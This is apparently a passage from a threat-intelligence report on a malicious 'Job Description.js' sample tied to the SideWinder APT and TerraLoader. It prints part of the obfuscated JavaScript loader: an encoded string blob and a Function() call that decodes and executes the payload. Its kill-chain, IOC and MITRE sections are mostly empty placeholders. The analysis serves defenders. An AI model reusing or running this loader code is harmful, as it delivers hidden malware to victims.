blawp7 = 'uDoz8dcqqO?2S)W5pa.$a(%!(h5Y~HHdjJdIaJq{AlfRt6pbY/c2xYgcDKW07stKIp7Q<wM3!fa_.=@LenP+B^A^Vwv>_n=`s>j;~jPvc6p7=:[nKJ8w229}0Pkb&]YI&kP}rI*aW^~N(ykhcF:ovE9}W#lqpAy<7)buVu=+Nj(@#@#vW>N&K(e}`!+Yx,vi7^:m}KzmT2K&Z!wxl9z*827~NPM3*ZF@onTg+.mEwnevUuZt5oDwZhd_9(w[,me]juM4Vn*55j43]_t&T%1I@v/_RixSVELr2uUpV(`c@0HobgQwqUT0t`5AnE8>75T@mCLE1ZFnS8K>:xt1n%p5`C=/uQfxQ#2lSlC~of3#8c@pS4JYx.ou8&UKQIfM+yr%{4l`S?7.9WLsd{o"IDJk;uil[l@/FOlqgr1,f#I{}mFn=nJyY9^q#gPTaF>n7`8ev<]w.k5e<,w@i)rTp&.&7A*)yL6>}@H^n+sAy`E^`hl0@G>#[Hyw0.8cd6OC0!"Y/O&])cC?bG)cp+#tbTVi@F324]y2l#KY]7<8W"(:EN_cZTfspEm*<<;z?+.+T}?FRXO=)%xg422<_Mz8""Z,^=t.C=UeLNs?.sg7clRI/p~eilw7$|68Sl@+4?=y(j/y_?39sVh}mXnXECWbYRR|%`fZ^v7uMk_o9Z(Y,/McQBT#LiF>doBlwuKG5Bo6g?%B&c2P[Y/UByV{,`gUwkH0Z%kBP@3#$XO|0]?z1q+=zH{pI2jM*y5n.rfrSM~go^UGw+7Y&NJ!!$1%2<C0dwM0Ecd.`Q0YJCY*tZPJ?CQZ)j_^%0%*IT21m1OC.uiZ;bhF&2"QwO6Q]cD+/(nm/h9S^YAAZnY:QcVLDGtXqcX3CUP@+%L+r3669qxo`3c%7sR)JKk%K/u_B4vgGc|cFwu4nw`So]`=[lw(Q,)@ltj<PxBe%I}Ap@XMBr[DeI%aN<G{n1G$8YJ3T9s#StdzsJgSeQW+=O+5N8}+$C~b/.!58*zMM.tRv~y|$0[lhrKG<[Ze|T4Q]v&M_2p(M?|cf:3u_/4SZm}a+wp4e7h?`sovY<Q{QoSXiyfHuY+*1k:xIXM<H$)dP_V8$vqQ;@DyZJiy{}1N;@FkOf?k:>b>G>@d`[n4Y#O`0X.QVk[IQwC}yCFfu/Zq&4InFBY3r"6qWt`["LJU8]Jm%T/@M5Q^]cVl+VH(0w>LrpZ{5$J?{VPHOm{K&)?U+WPqM%j;:(a!9lj^PZ6"~hs;d|.4g00ZwB4^4vcWjGpRa7qxJ~#5E*cHY7fWkL?o:G0vUIBxKO/N>U6shA>;;Yc@Z_T?<9{uPO"VOs,YO1He*Z/NNUy<,h%lc}qb!Qw<`PRu2^XmUM`uW,+KqJDO/<CcrR%./IE<_vQn^e~(t}pt+{!kr~{ua|u!h~qlG!OqOxKWCL.%GRmVL*V,b?uD"Mfp9d$qFawf|65vsH~S6{r}#Z+2i%Fax%)<9OBPU:=vL+x?TjJKdMb0yCF>#tp(:H}0C^bzlz^/&"B"Sl:o7h6KOsKgVPE]=_G`e~AyZn&=I6G"Hzn[8?H$*eBu2Ej$ByqU|U/=6N.HpUk{C62G@A2QJ9:L^69%Ah&6u;eRQ).~}QTzsjK@tMfxT@GQ`nc8a89N!J9/:ai[vr7T27Cj2?#)c%33Z4p/fi47{8DF7g,>,(%0!_=iZU3[.85V8Y=@X@&VW+bs(uR^I]Q:l|yI1p+g~y6<K*9{e#[FUIy}7t0SK!<@GExs7VDF4OG6cGA<WF=Zq].zTbJodmh5Ih7^C_*K|?Pop.3R(%B&5DD$C@k$ebCF#v{[Rx?XD_[+ELOMCk;tuTX0q)T&ltbCE=2I7Qq`mq72H;AJ"_skUmS/B5(.uvn[Bi0whDkniwsB:C.`tYlcgR!g1/XCD[+31;5Lw1Z"6,=9[siF_tCz8s$#a4gP0GuL%gw[|qk//KDSH3=wzeh5P|{9xJL<xzvOtgNi:q]DE:.tKw}5k<#~N#=7l=RMqW[>jf<uB:`oX,zII9:&:P21TEYT.U&9[m/O`yN(Tk)vx#cJB<cV=m@&"]&/:]7@)pvR|!+Sg0fuZwj_BJ*1TS3O:TAF2_K~HKN1W^L;?k9@;<ZEp1)w/`?<i>9G$#X3*LQ4O~}!f@mprTJ.kx7o^VTuD/mO[hX2jzehc.f~"Bq}Qy1X}]:S$Cea(_oI%qW{s~O^X["y|6Lh<TM{(PC^QTl$b][l"I/TG<Y7)H]I+?u*%bnK~p,xK,$451V0/?o9yMk*CrotyFK5#Ya?OP5oiRA+2qZxL=D(oxvfZ;`5VYv_Fv}n+pX)qP(Nz<v}bMt0z_%$GzDb,`}tcqp|mJXl9QQ[z]y`v|vx$8IHz#"Os%3/,r<zbw.MrR7D_azOuU=`!R)!ny|Vi,UY5w**ms3]Kh}SQ#Cco^V~AV4F$$2Q(jYy_gWz9fJ7=|v2/g(}r.?=FTC[LASa_<M??_@/"GZf+8g9kqw8Y~&^;`gtNNd#MySjEWJ*:o?},x,R?D#;6ZY~NzEl6F^ZHR*4D@v9tbrwen(N[DAArTquI<~DDIzk%|)s%DCB5XC^/.![]fpywN1aUCp:L_Hq9Zy]fJntn[PwMol.&Ndu1q.h,4H{&*_@0NonFvt&YhsMZqx6^I=M~P(DmF#g}tAt}i/GL%q#BCP1Uv,,YaoxMIF@<Xqw*5|};yn]}|;s=?SXzgs9c<BY*R<t2yo]4!]9n)M+&|Qrcj25wt]:MEo*#?+VG9jC[Wc(Y<hkaku@jx)ty:%I=ULb2x/pFKZ/8b>QQO1.K|*q#q2~0k7hpISe6(aI`c:na_do]7egrvJE%Hj*.1)yVE%r_<y!eyms$PxQ.ZrM/.7lS~($SFaG4}}~Hk{Z}r6SVJeShXU@eJc.IJWx01?~me4fS~dzM|N&UX_.Zc@rFK}h`m!jB`OQ"uu^~]9MLbp@nl5<{,tp<?.LE*/G,s]l~**NxiLXpKH|DWFr~^bHX;1{n++bCUdS9Gy6N6i#@=:+>eF!u{mW|Yuq1ECwoE;n&&6/.0)b0Z1.Vn"zw<Jn[|[v*I+pC<^vquynEG{+R*wZF)pE{g8TgUx%<hC+lIr!BV,t?_c3ES"]]l6X|xy[pV[f$TdVa`>qZUz(yZB>y*r]}lV#bi*DVOm{>i<+jZySBl,_c.sz+{|^Ucy%4HDD1a:f}Iv/=:=~n|"H5Gn}<jeMD1cGrI1KI.?_+!+&hMqFrUj.C:bne:^#3^,[GE&Cvl),@{31t`/S83v35FH:WGxmF}pC#_%o1UAk~G2uEK?/}4~e6:[21@B4k<nplazNw{UH;1Jue7+J98qMruW6#f_.4YT9b$.ZS(6*lyU|uVPTx/;aOcHy{^xd,nDVc.Rv)E=i[u+:AXFHL?06Ch2>10V"C9$fpA7h{Op1qw@!,eY)fs3SS[$QmJbx4EsfXa!TrC4m&DVutfr}te8;.h=n%f*I=kngcP;CEXH]_ZipZL;mU67e}5ns4`k29/*72ZBm?{gK[(8flhw@.Ja:PV?b.4IygG#4!+7l.3uKv4VkP(Kb^9Njw;|F?3[D!MdW%{1kdqQ4g]MGBNxSI8?Y(aE"<+.bw#XQID?g,{`COeTY7I06#Mlc?L]~mo_I^,g^dtzz)(wJx9ef((oWakC5@qipAd&vw|:s35<T{aIW`LTThZ}@VzxE$po5n*e9?hwD2Q9+4Oj~[>()%UE!Fj0%Knl~fVYMK|<Idei56W9>IwcLhRm)M*gGrS[V>>s:"8#^ah4H!nYhHdJxax6lu^x)a[v]hRO;RLI5fDP,S6y7R6{ws$gR6Qx2_vET+H%vJkiQ&1<rjE09SRN?i&=Ok*)^|`m6E8}>BYx~h8c@ipDkrF9>JHEL~6DE6D,gFUR/Bx4*KQjZI[%Y3q(t:5~v^[D2:0l;Ot/,8W&]sV!^<zd}MSh~n2%C(4NkLD1RNj6P=C<#d@hsvD_16D0{o[pM88v=1^56bF5*9[CUxj[wO6gkrLM{qC)eBcJOgTH6~1WHQuZV]3vwAkRO0_gFzguNtUBz":^(X6R=E9Z*e@4MR,}=E]<^5tY:81XZbcR0f*kEr#.}L8=c:7g`e}wB:V_5Kk6)WFOMb(0I8p@5nXw"[5X#=
  base = get_base();
  var execute_payload = function(arg) {return (Function(arg))();};
  execute_payload(decode_payload(blawp868, tab, offset_tab));
 }
}
main();
```
<h2> Cyber kill chain <a name="Cyber-kill-chain"></a></h2>
<h6>The process graph resume cyber kill chains used by the attacker :</h6>
<p align="center">
  <img src="https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/Indian/APT/SideWinder/25-12-19/Pictures/Cyber.png">
</p>
<h2> Indicators Of Compromise (IOC) <a name="IOC"></a></h2>
<h6> List of all the Indicators Of Compromise (IOC)</h6>

|Indicator|Description|
| ------------- |:-------------:|
|||

<h6> The IOC can be exported in <a href="">JSON</a></h6>

<h2> References MITRE ATT&CK Matrix <a name="Ref-MITRE-ATTACK"></a></h2>

|Enterprise tactics|Technics used|Ref URL|
| :---------------: |:-------------| :------------- |
||||

<h6> This can be exported as JSON format <a href="">Export in JSON</a></h6>
<h2>Links <a name="Links"></a></h2>
<h6> Original tweet: </h6><a name="tweet"></a>

* [https://twitter.com/Ledtech3/status/1211760115008888832](https://twitter.com/Ledtech3/status/1211760115008888832) 

<h6> Links Anyrun: <a name="Links-Anyrun"></a></h6>

* [Job Description.js](https://app.any.run/tasks/1b909852-114b-4a4c-8b90-f36016501d6d)

<h6> Resources : </h6><a name="Ressources"></a>

* [Analysis of TerraLoader sample from Vitali Kremez](https://twitter.com/VK_Intel/status/1211758023376592896)
* [RC4 Encryption Algorithm](https://www.geeksforgeeks.org/rc4-encryption-algorithm/)